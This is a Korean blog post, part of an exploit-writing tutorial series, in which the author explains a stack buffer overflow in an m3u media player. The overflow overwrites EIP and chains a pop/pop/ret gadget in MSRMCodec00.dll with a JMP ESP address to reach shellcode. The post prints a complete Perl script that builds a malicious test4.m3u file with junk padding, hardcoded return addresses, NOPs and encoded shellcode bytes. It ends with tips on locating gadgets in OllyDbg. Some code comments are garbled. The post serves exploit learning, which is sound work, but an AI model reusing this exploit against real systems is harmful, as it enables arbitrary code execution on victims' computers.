[exploit writing] 2_쉘코드로 점프 (5)
앞에서 언급한 대로 공격 코드를 작성하면 왼쪽 그림과 같은 구조를 가지게 된다. 자세한 흐름에 대한 설명은 다음을 참고하길 바란다.
① 버퍼 오버플로우가 발생하여 EIP에 0x7c9739ba (위 그림의 0x01966a10) 주소가 주입 되었다. 이 주소는 MSRMCodec00.dll 안에 존재하는 pop/pop/ret 기계어의 위치를 가리키고 있다.
(현재 상태에서 ESP는 NOP의 시작점을 가리킨다)
② 조작된 EIP에 의해 0x7c9739ba 안의 명령이 수행 된다. : POP / POP / RET
③ pop/pop/ret을 통해 ESP 는 쉘코드의 시작점을 가리키게 되고, ret 명령에 의해 ESP 안에 들어가 있던 0x7c836A78 주소(이 주소는 내 컴퓨터의 call esp 주소이고 문서와는 다름)가 EIP로 주입된다.
④ EIP는 0x7c836A78 주소 안에 있는 'JMP ESP' 명령을 수행하게 되고, 프로그램의 흐름은 ESP로 향하게 된다. ESP는 이미 쉘코드를 가리키고 있으므로 우리의 의도대로 쉘코드가 실행 된다.
이제 위에서 작성한 공격 코드로 취약한 m3u 파일을 생성해 실행해 보자.
my $file= "test4.m3u";
my $junk= "A" x 26064;
my $eip = pack('V',0x7c9739ba); # MSRMcodec00.dll ??? pop/pop/ret ??
my $jmpesp = pack('V',0x7c836A78); # JMP ESP
my $prependesp = "XXXX"; # ESP? ???? ??? ?????
my $shellcode = "\x90" x 8; # NOP 8 ??? ?? ??
$shellcode = $shellcode . $jmpesp;
$shellcode = $shellcode."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n"
(굵은 글씨들이 시스템마다 차이가 있는 주소 값들인 것 같다.)
pop-pop-ret 부분 찾는 것이 가장 어려웠다. 리눅스에서 objdump 프로그램 쓰니까 바로 나오는데 xp와 스택 메모리 주소 값이 달라 xp 에서 dll 파일의 PPR 가젯을 찾아야했다.
올리디버거로 SEARCH FOR - BINARY STRING 에서 58 5D C3 로 PPR 기계어를 찾아 겨우 성공했다. 가장 어려웠던 파트인 것 같다.
댓글
댓글 쓰기